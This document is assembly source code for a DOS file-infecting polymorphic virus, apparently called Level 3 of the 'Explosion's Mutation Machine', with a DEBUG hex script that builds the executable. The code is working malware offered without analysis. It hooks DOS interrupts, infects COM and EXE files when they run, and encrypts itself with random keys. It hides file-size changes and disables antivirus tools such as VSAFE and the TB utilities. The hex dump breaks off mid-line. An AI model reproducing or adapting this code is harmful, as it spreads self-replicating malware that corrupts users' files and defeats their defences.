jmp short s1
|
||
read_file:
|
||
mov ah,3fh
|
||
s1: call s2
|
||
jc s3
|
||
cmp ax,cx
|
||
s3: retn
|
||
start_file:
|
||
xor cx,cx
|
||
mov dx,cx
|
||
pos_start:
|
||
mov ax,4200h
|
||
jmp short s2
|
||
end_file:
|
||
xor cx,cx
|
||
mov dx,cx
|
||
pos_end:
|
||
mov ax,4202h
|
||
mhandle:
|
||
s2: mov bx,cs:handle
|
||
int21:
|
||
pushf
|
||
cli
|
||
call cs:oriv21
|
||
retn
|
||
|
||
infect:
|
||
mov ax,5700h
|
||
call mhandle
|
||
mov bx,offset ftime
|
||
mov [bx],cx
|
||
mov [bx+2],dx ;read in time and date of last write
|
||
call identify
|
||
jnc ienjnp
|
||
igbck: retn
|
||
|
||
ienjnp: xor dx,dx
|
||
call rnd_get
|
||
mov word ptr ds:(offset dcmax+1),dx
|
||
mov word ptr ds:(offset ecmax+1),dx
|
||
xor dx,dx
|
||
call rnd_get
|
||
mov word ptr ds:(offset dcaax1+1),dx
|
||
mov word ptr ds:(offset ecaax1+1),dx
|
||
xor dx,dx
|
||
call rnd_get
|
||
mov word ptr ds:(offset dcaax2+1),dx
|
||
mov word ptr ds:(offset ecaax2+1),dx ;values for encoding
|
||
|
||
call start_file
|
||
mov cx,18h
|
||
mov dx,offset header
|
||
call read_file
|
||
pigbck: jc igbck
|
||
mov si,dx
|
||
mov di,offset bheader
|
||
rep movsb
|
||
push dx
|
||
call end_file
|
||
mov lenlo,ax
|
||
mov lenhi,dx
|
||
mov si,ax
|
||
mov di,dx
|
||
pop bx
|
||
cmp [bx].id,'MZ'
|
||
je iEXE1
|
||
cmp [bx].id,'ZM'
|
||
je iEXE1
|
||
mov bheader.flag,0 ;0 means COM
|
||
cmp ax,65535-(EXTENTION+DEPSTACK) ;much too long ?
|
||
ja igbck
|
||
mov bheader.min,0000h ;min. memory is 0
|
||
jmp short iCOM1
|
||
iEXE1: mov bheader.flag,1
|
||
mov ax,[bx].pages
|
||
mul v512
|
||
sub ax,si
|
||
sbb dx,di
|
||
jc pigbck ;overlay detected
|
||
mov ax,si
|
||
mov dx,di
|
||
add ax,EXTENTION
|
||
adc dx,0
|
||
div v512
|
||
or dx,dx
|
||
jz spcp1 ;special case is that dx=0
|
||
inc ax
|
||
spcp1: mov [bx].pages,ax
|
||
mov [bx].lpage,dx ;setting pages and bytes in last page
|
||
iCOM1: and si,0fff0h
|
||
add si,16
|
||
adc di,0
|
||
mov dx,si
|
||
mov cx,di
|
||
push bx
|
||
call pos_start ;allignment to the multiply of 16
|
||
pop bx
|
||
cmp bheader.flag,0
|
||
jne iEXE2
|
||
mov byte ptr [bx],0e9h ;getting ready for jump
|
||
add ax,100h
|
||
mov gba,ax
|
||
add ax,LENVIR
|
||
mov rel,ax
|
||
mov eflag,001b ;setting parameters for EMM
|
||
jmp short iCOM2
|
||
iEXE2: mov ax,[bx].parps
|
||
mul v16
|
||
sub si,ax
|
||
sbb di,dx
|
||
mov ax,si
|
||
mov dx,di
|
||
div v16
|
||
mov [bx].vCS,ax
|
||
mov bheader.id,ax ;store org cs
|
||
mov ax,[bx].vSS
|
||
mul v16
|
||
mov cx,[bx].vSP
|
||
add ax,cx
|
||
adc dx,0
|
||
sub ax,si
|
||
sbb dx,di
|
||
jc zjvs
|
||
sub ax,DEPSTACK
|
||
sbb dx,0
|
||
jc pikon1
|
||
add [bx].vSS,(EXTENTION-1)/16
|
||
zjvs: mov rel,LENVIR
|
||
mov gba,0
|
||
mov word ptr rsp+1,cx
|
||
mov eflag,010b ;setting parameters for EMM
|
||
iCOM2: mov ax,gba
|
||
mov word ptr ds:(offset dcmsi+1),ax ;start for decoder
|
||
mov word ptr ds:(offset stsub+1),ax ;for proper relocation
|
||
mov dx,6
|
||
call rnd_get
|
||
or dx,dx
|
||
jz nguv
|
||
or eflag,100b ;generates intro with probability 5 : 1
|
||
nguv: call EMM
|
||
call encode
|
||
jc pikon1
|
||
mov ax,hip
|
||
cmp bheader.flag,0
|
||
jne iEXE3
|
||
sub ax,103h
|
||
mov word ptr ds:(offset header+1),ax ;setting jump in com
|
||
jmp short iCOM3
|
||
iEXE3: mov header.vIP,ax ;write down ip
|
||
iCOM3: mov cx,di
|
||
mov dx,offset hbuf
|
||
sub cx,dx
|
||
call write_file
|
||
pikon1: jc ikon
|
||
call start_file
|
||
mov cx,18h
|
||
mov dx,offset header
|
||
call write_file
|
||
jc ikon
|
||
add lenlo,EXTENTION
|
||
adc lenhi,0 ;change length
|
||
mov dx,25
|
||
call rnd_get ;with probability 1 : 25 does not mark
|
||
or dx,dx
|
||
jz ikon
|
||
mov bx,offset ftime
|
||
call identify
|
||
mov [bx],ax ;mark file
|
||
ikon: mov dx,lenlo
|
||
mov cx,lenhi
|
||
call pos_start
|
||
xor cx,cx
|
||
call write_file ;allignment to constant length increase
|
||
mov ax,5701h
|
||
mov cx,ftime
|
||
mov dx,fdate
|
||
call mhandle ;setting time and date
|
||
retn
|
||
|
||
sublen:
|
||
sub word ptr es:[bx],EXTENTION
|
||
sbb word ptr es:[bx+2],0
|
||
jnc npretn
|
||
add word ptr es:[bx],EXTENTION
|
||
adc word ptr es:[bx+2],0
|
||
npretn: retn
|
||
|
||
NOUNF=14 ;number of unfriendly programms
|
||
titstr db 3,'COM',3,'EXE'
|
||
titstr1 db 4,'SCAN',7,'VSHIELD',5,'CLEAN',8,'FINDVIRU',5,'GUARD'
|
||
db 8,'VIVERIFY',2,'TB',2,'-V',7,'VIRSTOP',3,'NOD',4,'HIEW'
|
||
db 5,'PASCA',7,'NETENVI',6,'F-PROT',6,'CHKDSK'
|
||
|
||
check:
|
||
push bx
|
||
push cx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
push ax
|
||
mov si,dx
|
||
mov bx,si
|
||
xor di,di
|
||
mov cx,LENFNB
|
||
ol1: lodsb
|
||
cmp al,'\'
|
||
je stfn
|
||
cmp al,'/'
|
||
je stfn
|
||
cmp al,':'
|
||
jne nstfn
|
||
stfn: mov bx,si
|
||
nstfn: cmp al,'.'
|
||
jne itnb1
|
||
mov di,si
|
||
itnb1: or al,al
|
||
jz whname
|
||
loop ol1
|
||
jmp short oinok
|
||
whname: cmp di,bx
|
||
jbe oinok
|
||
mov si,di
|
||
mov di,offset titstr
|
||
push cs
|
||
pop es
|
||
|
||
call compare
|
||
je porok
|
||
call compare
|
||
jne oinok ;COM or EXE ?
|
||
|
||
porok: mov cl,NOUNF+1
|
||
mov si,bx
|
||
mov di,offset titstr1
|
||
ol2: push cx
|
||
call compare
|
||
pop cx
|
||
je fkrpg
|
||
loop ol2 ;check for unfriendly progs
|
||
oiok: clc
|
||
okon: pop ax
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop bx
|
||
retn
|
||
fkrpg: cmp cx,2
|
||
ja nvpst ;if F-PROT or CHKDSK switch off stealth
|
||
pop ax
|
||
push ax
|
||
cmp ah,4bh ;execute ?
|
||
jne nvpst
|
||
mov byte ptr cs:(offset rpps1+1),offset ndnxt-offset con1
|
||
nvpst: cmp cx,1
|
||
je oiok ;can infect CHKDSK
|
||
oinok: stc
|
||
jmp okon
|
||
|
||
compare:
|
||
push si
|
||
mov cl,byte ptr es:[di]
|
||
inc di
|
||
mov ax,di
|
||
add ax,cx
|
||
push ax
|
||
popdp: lodsb
|
||
cmp al,'a'
|
||
jb ponmp
|
||
cmp al,'z'
|
||
ja ponmp
|
||
sub al,('a'-'A')
|
||
ponmp: scasb
|
||
loope popdp
|
||
pop di
|
||
pop si
|
||
retn
|
||
|
||
;************** 21h handler *************
|
||
|
||
infname: ;in ds:dx is file name
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push si
|
||
push di
|
||
push bp
|
||
push ds
|
||
push es
|
||
|
||
call eliminate_av
|
||
|
||
call set_on_24
|
||
mov ax,4300h
|
||
call int21
|
||
mov cs:attrib,cx
|
||
mov ax,4301h
|
||
xor cx,cx
|
||
call int21
|
||
jc errnd_l1
|
||
mov ax,3d02h
|
||
call int21
|
||
jc errnd_l2
|
||
push dx
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov handle,ax
|
||
call infect
|
||
mov ah,3eh
|
||
call mhandle
|
||
pop ds
|
||
pop dx
|
||
errnd_l2: mov ax,4301h
|
||
db 0b9h
|
||
attrib dw ? ;mov cx,attrib
|
||
call int21
|
||
errnd_l1: call set_off_24
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
|
||
res21:
|
||
sti
|
||
rpps1: jmp short con1 ;switched jump for switching off stealth
|
||
con1: cmp ah,11h
|
||
je dtrad
|
||
cmp ah,12h
|
||
jne dnxt
|
||
dtrad: push bx
|
||
push es
|
||
push ax
|
||
mov ah,2fh
|
||
call int21
|
||
pop ax
|
||
call int21
|
||
cmp al,0ffh
|
||
je dterr
|
||
push ax
|
||
cmp byte ptr es:[bx],0ffh
|
||
jne nexp
|
||
add bx,7
|
||
nexp: add bx,17h
|
||
call identify
|
||
pop ax
|
||
jnc dterr
|
||
add bx,1dh-17h
|
||
call sublen
|
||
dterr: pop es
|
||
pop bx
|
||
iret
|
||
dnxt: cmp ah,4eh
|
||
je dffh
|
||
cmp ah,4fh
|
||
jne ndnxt
|
||
dffh: push bx
|
||
push es
|
||
push ax
|
||
mov ah,2fh
|
||
call int21
|
||
pop ax
|
||
call int21
|
||
jc ret21
|
||
push ax
|
||
add bx,16h
|
||
call identify
|
||
pop ax
|
||
jnc ret21_stc
|
||
add bx,1ah-16h
|
||
call sublen
|
||
ret21_stc:
|
||
clc
|
||
ret21:
|
||
pop es
|
||
pop bx
|
||
rf2: push ax
|
||
push bp
|
||
mov bp,sp
|
||
lahf
|
||
mov [bp+08h],ah
|
||
pop bp
|
||
pop ax
|
||
iret
|
||
ndnxt: cmp ah,31h
|
||
je trmsr
|
||
cmp ah,4ch
|
||
jne nkprg
|
||
mov byte ptr cs:(offset rpps1+1),0
|
||
trmsr: call eliminate_av
|
||
nkprg: cld
|
||
push dx
|
||
cmp ax,4b00h
|
||
je infac
|
||
cmp ax,6c00h
|
||
jne nxts
|
||
test dl,00010010b
|
||
mov dx,si
|
||
jnz saveh
|
||
nxts: cmp ah,3ch
|
||
je saveh
|
||
cmp ah,5bh
|
||
je saveh
|
||
cmp ah,3eh
|
||
jne jornd_l21
|
||
cmp bx,cs:chandle
|
||
jne jornd_l21
|
||
or bx,bx
|
||
jz jornd_l21
|
||
mov cs:chandle,0
|
||
call int21
|
||
jc pdxrf2
|
||
push ds
|
||
push cs
|
||
pop ds
|
||
mov dx,offset fname
|
||
call infname
|
||
pop ds
|
||
miretc: clc
|
||
pdxrf2: pop dx
|
||
jmp rf2
|
||
jornd_l21: pop dx
|
||
cli
|
||
jmp cs:oriv21
|
||
|
||
infac:
|
||
call check
|
||
jc jornd_l21
|
||
call infname
|
||
jmp short jornd_l21
|
||
|
||
saveh:
|
||
cmp cs:chandle,0
|
||
jne jornd_l21
|
||
call check
|
||
jc jornd_l21
|
||
mov cs:rhdx,dx
|
||
pop dx
|
||
push dx
|
||
call int21
|
||
db 0bah
|
||
rhdx dw ? ;mov dx,rhdx
|
||
jc pdxrf2
|
||
push cx
|
||
push si
|
||
push di
|
||
push es
|
||
mov si,dx
|
||
mov di,offset chandle
|
||
push cs
|
||
pop es
|
||
stosw
|
||
mov cx,LENFNB
|
||
rep movsb
|
||
pop es
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
jmp short miretc
|
||
|
||
NUMTBN=4
|
||
tbname db 'TBMEMXXX','TBCHKXXX','TBDSKXXX','TBFILXXX'
|
||
|
||
eliminate_av:
|
||
push ax
|
||
push dx
|
||
push ds
|
||
mov ah,0ffh
|
||
xor bl,bl
|
||
int 13h ;eliminates NOHARD
|
||
mov ah,0feh
|
||
int 13h ;eliminates NOFLOPPY
|
||
mov ax,0fa02h
|
||
mov dx,5945h
|
||
mov bl,31h
|
||
int 16h ;eliminates VSAFE
|
||
push cs
|
||
pop ds
|
||
mov ah,52h
|
||
int 21h
|
||
les bx,es:[bx+22h]
|
||
next_device:
|
||
mov si,offset tbname-8
|
||
mov cx,NUMTBN
|
||
next_tb_utility:
|
||
push cx
|
||
add si,8
|
||
lea di,[bx+0ah]
|
||
mov cx,4
|
||
push si
|
||
repe cmpsw
|
||
pop si
|
||
pop cx
|
||
loopne next_tb_utility
|
||
jne not_tb_utility
|
||
or byte ptr es:[0016h],01h ;eliminates TB-utility
|
||
not_tb_utility:
|
||
les bx,es:[bx]
|
||
cmp bx,0ffffh
|
||
jne next_device
|
||
pop ds
|
||
pop dx
|
||
pop ax
|
||
retn
|
||
|
||
owname db 'COMMAND',00h
|
||
stsub:
|
||
mov ax,0000h
|
||
mov cl,4
|
||
shr ax,cl
|
||
mov dx,cs
|
||
add ax,dx
|
||
push ax
|
||
mov ax,offset mdcs
|
||
push ax
|
||
retf ;relocation cs:ip
|
||
|
||
mdcs:
|
||
cld
|
||
push cs
|
||
pop ds
|
||
mov ax,DEPTH
|
||
sub ax,ssp
|
||
dec cx
|
||
div cl ;al=ax/3
|
||
shl ax,1 ;ax=ax*2/3
|
||
add sp,ax ;sp to orig. value
|
||
|
||
;**************** action *****************
|
||
|
||
mov cl,ORDER
|
||
mov ax,counter
|
||
div cl
|
||
or ah,ah
|
||
jnz nap
|
||
mov ah,2ah
|
||
int 21h
|
||
cmp dl,7
|
||
jne nap
|
||
mov ah,09h
|
||
mov dx,offset mess1
|
||
int 21h
|
||
mov dx,3cch
|
||
in al,dx
|
||
and al,11111101b
|
||
mov dl,0c2h
|
||
out dx,al
|
||
mov ah,4ch
|
||
int 21h
|
||
|
||
nap: call eliminate_av ;eliminates AVIR
|
||
|
||
mov ah,62h
|
||
int 21h ;in bx PSP
|
||
push bx
|
||
xor ax,ax
|
||
mov ds,ax
|
||
mov ds,word ptr ds:(offset MEMPOS+3)
|
||
cmp word ptr owname,'OC'
|
||
je pinchb ;already res
|
||
|
||
;**************** instalation into memory ******************
|
||
|
||
xchg ax,bx
|
||
dec ax
|
||
mov ds,ax
|
||
add ax,ds:[03h]
|
||
sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
|
||
mov dx,cs
|
||
add dx,(LENVIR-1)/16+1 ;end of virus code
|
||
cmp ax,dx
|
||
jb tranw
|
||
mov dx,cs
|
||
add dx,cs:bheader.min ;min memory req.
|
||
cmp ax,dx
|
||
jb tranw
|
||
mov dx,ss
|
||
mov si,sp
|
||
inc si
|
||
mov cl,4
|
||
shr si,cl
|
||
inc si
|
||
add dx,si ;end of stack
|
||
cmp ax,dx
|
||
jnb intdp
|
||
tranw: mov ah,48h
|
||
mov bx,0ffffh
|
||
int 21h
|
||
cmp bx,((end_res-start_virus)-1)/16+2
|
||
jnb dbjdv
|
||
pinchb: jmp inchb
|
||
dbjdv: mov ah,48h
|
||
int 21h
|
||
dec ax
|
||
mov ds,ax
|
||
mov word ptr ds:[01h],0000h
|
||
add ax,ds:[03h]
|
||
sub ax,((end_res-start_virus)-1)/16+2-1 ;segment for virus is in ax
|
||
intdp: mov dl,byte ptr ds:[00h]
|
||
mov byte ptr ds:[00h],'M'
|
||
sub word ptr ds:[03h],((end_res-start_virus)-1)/16+2
|
||
mov ds:[12h],ax
|
||
mov ds,ax
|
||
mov byte ptr ds:[00h],dl
|
||
inc ax
|
||
mov word ptr ds:[01h],ax
|
||
mov word ptr ds:[03h],((end_res-start_virus)-1)/16+1
|
||
push ds
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
|
||
inc counter ;generation
|
||
|
||
mov si,offset owname
|
||
mov di,08h
|
||
movsw
|
||
movsw
|
||
movsw
|
||
movsw ;name of owner
|
||
mov es,ax
|
||
xor si,si
|
||
mov di,si
|
||
mov cx,LENVIR
|
||
rep movsb ;copying of body
|
||
mov si,offset zencode
|
||
mov cx,(zenden-zencode)
|
||
rep movsb ;copying of necessay routines
|
||
xor ax,ax
|
||
mov es:chandle,ax ;initialisation of variable
|
||
mov ds,ax
|
||
mov ax,ds:046ch
|
||
mov es:rnd1,ax
|
||
mov ax,ds:046eh
|
||
mov es:rnd2,ax ;initialisation rnd_get
|
||
mov byte ptr ds:(offset MEMPOS),0eah
|
||
mov word ptr ds:(offset MEMPOS+1),offset res21
|
||
mov word ptr ds:(offset MEMPOS+3),es
|
||
cli
|
||
mov ax,ds:(4*21h)
|
||
mov word ptr es:oriv21,ax
|
||
mov ax,ds:(4*21h+2)
|
||
mov word ptr es:(oriv21+2),ax
|
||
mov word ptr ds:(4*21h),MEMPOS
|
||
mov ds:(4*21h+2),ds
|
||
sti
|
||
inchb: pop bx
|
||
push cs
|
||
pop ds
|
||
mov es,bx
|
||
mov si,offset bheader
|
||
cmp [si].flag,0
|
||
jne zuEXE
|
||
mov di,100h
|
||
mov [si].vIP,di
|
||
mov [si].vCS,bx
|
||
movsb
|
||
movsw
|
||
jmp short zuCOM
|
||
zuEXE: mov ax,cs
|
||
sub ax,[si].id ;sub cs from exe header (infected)
|
||
add [si].vCS,ax
|
||
add ax,[si].vSS
|
||
mov ss,ax
|
||
zuCOM: mov ds,bx
|
||
xor ax,ax
|
||
jmp dword ptr cs:bheader.vIP
|
||
|
||
counter dw 1250
|
||
mess1 db 0dh,0ah,'Welcome to the Explosion''s Mutation Machine !',0dh,0ah
|
||
db 'Dis is level 3.',0dh,0ah,'$'
|
||
|
||
end_virus label near
|
||
|
||
;************************ copied routines and heap ***********************
|
||
|
||
encode:
|
||
mov cx,LENVIR
|
||
xor dx,dx ;offset start_virus
|
||
call zp1
|
||
mov ah,40h
|
||
mov bx,handle
|
||
pushf
|
||
db 9ah ;call oriv21
|
||
oriv21 dd ?
|
||
jc ec1
|
||
cmp ax,cx
|
||
ec1: pushf
|
||
call zp1
|
||
popf
|
||
retn
|
||
zp1: push cx
|
||
mov si,dx
|
||
ecmax: mov ax,1234h
|
||
mov cx,(LENVIR-1)/2+1
|
||
zp2: xor [si],ax
|
||
ecaax1: add ax,1234h
|
||
inc si
|
||
xor [si],ax
|
||
ecaax2: add ax,1234h
|
||
inc si
|
||
loop zp2
|
||
pop cx
|
||
retn
|
||
|
||
res24:
|
||
mov al,03h
|
||
iret
|
||
|
||
handle dw ?
|
||
header strc <>
|
||
off24 dw ?
|
||
seg24 dw ?
|
||
ftime dw ?
|
||
fdate dw ?
|
||
lenlo dw ?
|
||
lenhi dw ?
|
||
chandle dw ?
|
||
fname db LENFNB dup(?)
|
||
|
||
retnaddr dw ?
|
||
sodec dw ?
|
||
hend dw ?
|
||
ptei dw ?
|
||
ei db 6*25 dup(?)
|
||
eei label near
|
||
rel dw ?
|
||
gba dw ?
|
||
eflag db ? ;input flags (0-set DS,1-set SP,2-gen. intro)
|
||
hip dw ?
|
||
hbuf db LENHBUF dup(?)
|
||
|
||
end_res label near
|
||
|
||
virus_segment ends
|
||
end stsub
|
||
---------------------------
|
||
N Level3.exe
|
||
E 0100 4D 5A 04 01 0A 00 00 00 20 00 3D 00 FF FF 00 00
|
||
E 0110 80 00 00 00 89 0E 09 00 3E 00 00 00 01 00 FB 30
|
||
E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0380 B8 00 4C CD 21 00 00 00 00 00 00 00 00 00 00 00
|
||
E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F
|
||
E 03A0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
E 03B0 00 00 00 01 00 00 00 00 00 10 00 1E 00 00 02 2A
|
||
E 03C0 20 45 4D 4D 20 31 2E 30 20 2A 56 50 53 51 52 B9
|
||
E 03D0 00 00 BB 00 00 BA 5A 01 B8 35 4E 96 92 85 C0 74
|
||
E 03E0 02 F7 E3 E3 05 91 F7 E6 03 C1 96 F7 E3 03 D6 40
|
||
E 03F0 83 D2 00 2E A3 43 00 2E 89 16 40 00 8B C2 59 33
|
||
E 0400 D2 E3 04 F7 F1 EB 01 92 59 5B 58 5E C3 00 00 00
|
||
E 0410 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
|
||
E 0420 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00
|
||
E 0430 00 00 00 00 00 00 50 51 52 56 33 C9 AC 98 03 C8
|
||
E 0440 3C FF AD 75 F7 41 5E 8B D1 E8 7E FF AC 98 2B C8
|
||
E 0450 AD 3B D1 72 F7 96 5A 59 58 FF E6 50 53 8B F2 D1
|
||
E 0460 E6 D1 E6 BB 7D 00 03 F3 B5 03 80 3E A5 00 00 75
|
||
E 0470 11 83 C6 03 AC 98 96 03 F3 FE CD F6 C2 04 75 02
|
||
E 0480 FE CD 5B 58 C3 51 56 BA 08 00 E8 3D FF E8 CB FF
|
||
E 0490 F6 04 04 75 F2 5E 59 C3 50 32 E4 EB 03 50 B4 04
|
||
E 04A0 51 56 55 BA 08 00 E8 21 FF 8B EA 33 D2 8A CA E8
|
||
E 04B0 A9 FF AC 84 C4 75 0E 24 03 3C 03 74 04 3A C5 75
|
||
E 04C0 04 41 4D 78 12 42 83 FA 08 72 E4 0A C9 75 03 F9
|
||
E 04D0 EB 06 83 E2 07 EB D8 F8 5D 5E 59 58 C3 51 56 E8
|
||
E 04E0 79 FF 46 80 FD 03 75 04 89 04 EB 08 80 FD 01 74
|
||
E 04F0 01 46 88 04 5E 59 C3 51 56 E8 5F FF 46 80 FD 03
|
||
E 0500 75 03 AD EB 07 80 FD 01 74 01 46 AC 5E 59 C3 0A
|
||
E 0510 06 A5 00 52 B1 03 D2 E2 0A E2 5A C3 E8 66 FF 52
|
||
E 0520 A0 A5 00 B1 03 D2 E0 0C B0 0A C2 AA 33 D2 E8 99
|
||
E 0530 FE 92 5A E8 A7 FF E8 22 FF 08 2C 80 FD 03 75 04
|
||
E 0540 AB EB 02 90 AA C3 E8 4F FF 72 FA E8 A9 FF 50 B8
|
||
E 0550 8A C0 0A 06 A5 00 0A E2 8B DA E8 28 FF 3B DA 74
|
||
E 0560 F9 E8 AF FF AB 58 E8 74 FF E8 EF FE 08 2C C3 2D
|
||
E 0570 8C 01 2D B6 01 03 60 02 03 64 02 01 44 02 01 13
|
||
E 0580 02 01 FB 01 FF BE DF 01 E9 AB FE C6 06 A5 00 01
|
||
E 0590 F6 06 A0 00 01 75 0B E8 FE FE 72 06 B8 8E D8 0A
|
||
E 05A0 E2 AB C3 C6 06 A5 00 01 BA 20 00 E8 1C FE B8 8C
|
||
E 05B0 C0 0A E2 80 E4 F8 E8 CC FE 0A E2 AB E8 9C FE 80
|
||
E 05C0 E4 18 74 04 80 24 FC C3 A0 9D 00 88 04 A1 9E 00
|
||
E 05D0 89 44 01 C3 C6 06 A5 00 01 E8 BC FE 72 11 B8 8E
|
||
E 05E0 C0 0A E2 AB E8 10 FF 80 0E 9D 00 03 A3 9E 00 C3
|
||
E 05F0 B0 32 EB 02 B0 2A B4 C0 E8 8A FE 0A E2 E8 5B FE
|
||
E 0600 08 2C C7 06 8C 02 32 C0 EB 77 A0 A5 00 00 06 8C
|
||
E 0610 02 E8 E3 FE 8B 2E A2 00 55 9D FB FC 0A C3 9C 5D
|
||
E 0620 89 2E A2 00 E9 B6 FE E8 E0 FF 80 0E A1 00 01 C3
|
||
E 0630 2D F7 02 2D DE 02 0A C4 02 FF AC B4 C3 A3 8C 02
|
||
E 0640 AC A2 D6 02 AC B4 C0 A3 E8 02 AD A3 FE 02 BE A0
|
||
E 0650 02 E9 E2 FD 33 D2 E8 02 FE AC 24 03 3C 03 74 04
|
||
E 0660 3A C5 75 23 52 B0 0C 0A 06 A5 00 AA EB 29 E8 27
|
||
E 0670 FE 72 3C E8 81 FE 93 B8 0A C0 0A E2 E8 1E FE 72
|
||
E 0680 2E E8 8B FE AB EB A0 E8 13 FE 72 23 52 B8 80 C8
|
||
E 0690 0A 06 A5 00 0A E2 AB 33 D2 E8 2E FD 8B DA 5A E8
|
||
E 06A0 85 FF 93 80 3E A5 00 00 74 04 AB EB 02 90 AA C3
|
||
E 06B0 0A 0C 0A 80 C8 BE 20 03 EB 80 22 24 22 80 E0 BE
|
||
E 06C0 2A 03 EB F4 32 34 32 80 F0 BE 34 03 EB EA 84 A8
|
||
E 06D0 84 F6 C0 BE 3E 03 C6 06 0F 01 00 E8 5C FF C6 06
|
||
E 06E0 0F 01 04 C3 3A 3C 3A 80 F8 BE 54 03 EB E8 02 04
|
||
E 06F0 02 80 C0 BE 5E 03 EB D4 2A 2C 2A 80 E8 BE 68 03
|
||
E 0700 EB CA 12 14 12 80 D0 BE 72 03 F6 06 A1 00 01 75
|
||
E 0710 BB C3 1A 1C 1A 80 D8 BE 82 03 EB EE 01 B7 03 01
|
||
E 0720 A5 03 FF AD A3 8C 02 AD A3 AB 03 AC A2 C2 03 BE
|
||
E 0730 8C 03 E9 01 FD E8 65 FD 72 D7 B8 FE C0 0A 06 A5
|
||
E 0740 00 0A E2 AB E9 C3 FE C6 06 A5 00 01 E8 4E FD 72
|
||
E 0750 C0 B0 40 0A C2 AA E9 B1 FE FE C0 FE C0 40 BE C9
|
||
E 0760 03 EB C0 FE C8 FE C8 48 BE D3 03 EB B6 F6 D8 F6
|
||
E 0770 D8 BE DD 03 57 E8 12 00 58 3B F8 76 05 80 0E A1
|
||
E 0780 00 01 C3 F6 D0 F6 D0 BE F3 03 C7 06 A0 03 8F 03
|
||
E 0790 E8 90 FF C7 06 A0 03 8C 03 C3 01 17 04 01 3F 04
|
||
E 07A0 FF BE 0A 04 E9 8F FC E8 F3 FC 72 ED E8 48 FD 93
|
||
E 07B0 B8 86 C0 0A E2 8B EA E8 E3 FC 3B EA 74 DB 55 E8
|
||
E 07C0 4D FD AB E8 31 FD 93 E8 13 FD 5A 93 E9 0E FD C6
|
||
E 07D0 06 A5 00 01 E8 C6 FC 72 C0 80 3E 7D 00 03 75 B9
|
||
E 07E0 E8 14 FD 93 B0 90 0A C2 52 33 D2 AA EB D5 B0 D0
|
||
E 07F0 F6 06 81 00 01 74 0E BA 02 00 E8 CD FB D0 E2 0A
|
||
E 0800 C2 8A 0E 82 00 A3 8C 02 E8 92 FC 72 27 80 26 A1
|
||
E 0810 00 FE E9 28 FF B4 E0 EB D5 B4 E8 EB D1 B4 F8 EB
|
||
E 0820 CD B4 C0 EB C9 B4 C8 EB C5 B4 D0 F6 06 A1 00 01
|
||
E 0830 74 02 EB BA C3 B4 D8 EB F2 0F C5 04 03 EC 04 01
|
||
E 0840 07 05 FF 83 3E 0F 00 00 74 EA BE A9 04 C6 06 A5
|
||
